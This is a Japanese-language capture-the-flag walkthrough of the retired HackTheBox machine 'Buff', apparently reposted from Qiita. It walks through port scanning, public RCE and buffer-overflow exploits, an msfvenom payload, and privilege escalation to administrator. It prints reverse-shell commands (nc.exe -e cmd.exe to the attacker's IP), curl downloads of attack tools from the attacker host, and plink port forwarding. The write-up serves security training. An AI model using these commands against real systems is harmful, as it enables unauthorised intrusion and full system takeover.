【HackTheBox】Buff - Walkthrough -
本稿では、Hack The Boxにて提供されている Retired Machines の「Buff」に関する攻略方法(Walkthrough)について検証します。
Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。
マシンの詳細
エグゼクティブサマリー
戦術(Tactic)
- 「TA0007: 探索(Discovery)」, 環境を把握するための手順を確認します。
- 「TA0008: 横展開(Lateral Movement)」, 環境に対して横の移動を狙います。
- 「TA0003: 永続化(Persistence)」, 攻撃者は足場を持続させようとしようとしています。
- 「TA0004: 特権エスカレーション(Privilege Escalation)」, より高いレベルの権限取得を狙います。
- 「TA0002: 実行(Execution)」, 悪意あるコードを実行します。
ツール
- nmap
- rlwrap
- nc.exe
- plink.exe
- EDB-ID:48506 Gym Management System 1.0 - Unauthenticated Remote Code Execution
- EDB-ID:48389 CloudMe 1.11.2 - Buffer Overflow (PoC)
- msfvenom
詳細手順
ネットワークサービススキャン
nmap
ネットワークサービススキャン
nmap
IPアドレス 10.10.10.198
を buff.htb
として、 /etc/hosts
に追加します。その上で、nmapを使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -Pn -T4 -A -v buff.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 09:17 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating Connect Scan at 09:17
Scanning buff.htb (10.10.10.198) [1000 ports]
Discovered open port 8080/tcp on 10.10.10.198
Completed Connect Scan at 09:17, 17.85s elapsed (1000 total ports)
Initiating Service scan at 09:17
Scanning 1 service on buff.htb (10.10.10.198)
Completed Service scan at 09:18, 7.38s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.10.198.
Initiating NSE at 09:18
Completed NSE at 09:18, 11.36s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 2.46s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Nmap scan report for buff.htb (10.10.10.198)
Host is up (0.12s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
NSE: Script Post-scanning.
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.98 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
ポート番号 | サービス | バージョン |
---|---|---|
8080/tcp | http | Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) |
HTTPサービスのスキャン
Firefox
ブラウザを使って8080/tcp
にアクセスしてみます。
各セクションについて探索を行います。[Contact]セクションにて、このサイトがGym Management Software 1.0
にて作成されていることが特定できました。
アクセス権の取得
Gym Management Software 1.0
には、リモートコード実行の脆弱性(EDB-ID:48506)を抱えていることが知られています。
48506.py
コードの実行を試みた結果、いくつかのPython2モジュールの不足が指摘されます。
$ python 48506.py http://10.10.10.198:8080/
Traceback (most recent call last):
File "48506.py", line 37, in <module>
import requests, sys, urllib, re
ImportError: No module named requests
pip
をインストールし、不足しているモジュールを導入します。
kali@kali:~$ sudo apt install python-pip
kali@kali:~$ pip install requests
kali@kali:~$ pip install colorama
48506.py
コードの実行に成功すると、webshellとの接続が確立されます。
kali@kali:~$ python 48506.py http://10.10.10.198:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload>
ユーザーシェルの取得
whoami
コマンドにて、buff\shaun
権限のシェルが取得できていることを確認します。
C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaun
user.txt
フラグを取得します。type
コマンドにて確認することが可能です。
C:\xampp\htdocs\gym\upload> type C:\Users\shaun\Desktop\user.txt
�PNG
▒
d2f9{BLOCKED}26c4
シェルのアップグレード
Windowsコマンドを実行できるように、シェルをアップグレードします。
まず、SimpleHTTPServer
を立ち上げ、次のプログラムを標的マシンへアップロードします。
- NetCat: リバースシェルを確立する
- plink: ポートフォワーディングを確立する
kali@kali:/usr/share/windows-resources/binaries$ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
10.10.10.198 - - [08/Aug/2020 09:28:24] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.198 - - [08/Aug/2020 09:28:44] "GET /plink.exe HTTP/1.1" 200 -
C:\xampp\htdocs\gym\upload> curl http://10.10.14.11:8081/nc.exe -o nc.exe
�PNG
▒
C:\xampp\htdocs\gym\upload> curl http://10.10.14.11:8081/plink.exe -o plink.exe
�PNG
▒
C:\xampp\htdocs\gym\upload> dir
�PNG
▒
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of C:\xampp\htdocs\gym\upload
08/08/2020 14:28 <DIR> .
08/08/2020 14:28 <DIR> ..
08/08/2020 14:25 53 kamehameha.php
08/08/2020 14:28 59,392 nc.exe
08/08/2020 14:28 311,296 plink.exe
3 File(s) 370,741 bytes
2 Dir(s) 6,655,049,728 bytes free
Kali
上でのリバースシェルの操作性を向上させるため、rlwrap
をインストールします。これにより、readline
対応を実現し、行編集機能を追加することができます。
kali@kali:~$ sudo apt-get install rlwrap
kali
上で、リバースシェルを待ち受けます。コマンド構文は次のとおりです。
kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
buff.htb
上で、NetCat
コマンドを起動します。コマンド構文は次のとおりです。
C:\xampp\htdocs\gym\upload> nc.exe -e cmd.exe 10.10.14.11 1234
別の方法として、powershell
を立ち上げる方法も有効です。
C:\xampp\htdocs\gym\upload> nc.exe -e powershell.exe 10.10.14.11 1234
システム探索
winPEASまたはPowerUpなどの特権昇格を列挙するためのスクリプトを使ってシステム探索を実行します。
C:\Users\shaun\Downloads\
ディレクトリにCloudMe_1112.exe
実行ファイルの存在を確認しました。
C:\>dir C:\Users\shaun\Downloads
dir C:\Users\shaun\Downloads
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of C:\Users\shaun\Downloads
14/07/2020 13:27 <DIR> .
14/07/2020 13:27 <DIR> ..
16/06/2020 16:26 17,830,824 CloudMe_1112.exe
1 File(s) 17,830,824 bytes
2 Dir(s) 7,981,256,704 bytes free
CloudMe_1112.exe
実行ファイルの起動状況についてtasklist
コマンドにて確認します。
C:\>tasklist | findstr CloudMe
特権昇格
CloudMe 1.11.2
には、バッファオーバーフローの脆弱性(EDB-ID:48389)を抱えていることが知られています。
この脆弱性を悪用し、特権昇格する方法を検討します。
ポートフォワードの設定
Kali
上でSSHサービスを起動します。
kali@kali:~$ sudo service ssh start
C:\xampp\htdocs\gym\upload>plink.exe -l kali -pw kali 10.10.14.11 -R 8888:127.0.0.1:8888
kali
上で、ポートフォワードが機能していることを次のコマンド構文で確認します。
kali@kali:~$ netstat -punta | grep 8888
netstat -punta | grep 8888
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:8888 :::* LISTEN -
ペイロードの作成
オリジナルの48389.py
におけるペイロードは、次のとおり、管理者権限でCALC.EXE
コマンドが起動するのみです。
msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
そこで、管理者権限でnc.exe -e cmd.exe 10.10.14.11 4500
コマンド構文を起動するペイロードをmsfvenom
コマンドにて生成します。
kali@kali:~$ msfvenom -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.11 4500' -b '\x00\x0A\x0D' -f py -v payload
生成されたpayload
をオリジナルの48389.py
のpayload
を差し替えます。差し替え後のファイルをexploit.py
として保存します。
特権シェルの取得
ポート 4500
にてリバースシェルを待ち受けます。
kali@kali:~$ nc -lnvp 4500
listening on [any] 4500 ...
exploit.py
を実行します。
kali@kali:~$ python exploit.py
python exploit.py
exploit.py
の実行が成功した場合、buff\administrator
権限のシェルを確立させることができます。
kali@kali:~$ nc -lnvp 4500
listening on [any] 4500 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.198] 49683
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
buff\administrator
ファイル探索
あとは、root.txt
フラグをtype
コマンドにて確認するだけです。
C:\Windows\system32>cd c:\Users\Administrator\Desktop
cd c:\Users\Administrator\Desktop
c:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of c:\Users\Administrator\Desktop
18/07/2020 17:36 <DIR> .
18/07/2020 17:36 <DIR> ..
16/06/2020 16:41 1,417 Microsoft Edge.lnk
14/08/2020 13:18 34 root.txt
2 File(s) 1,451 bytes
2 Dir(s) 6,761,127,936 bytes free
c:\Users\Administrator\Desktop>type root.txt
type root.txt
d879{BLOCKED}f0f0
参考資料
- Practical Exploitation Part 1 (CloudMe Sync 1.11.2 BufferOverFlow + SEH), https://bufferoverflows.net/practical-exploitation-part-1-cloudme-sync-1-11-2-bufferoverflow-seh/
- absolomb's security blog, HackTheBox - Chatterbox Writeup, https://www.absolomb.com/2018-06-16-HackTheBox-Chatterbox/
Author And Source
この問題について(【HackTheBox】Buff - Walkthrough -), 我々は、より多くの情報をここで見つけました https://qiita.com/v_avenger/items/30253cba937a22a1b9b4著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .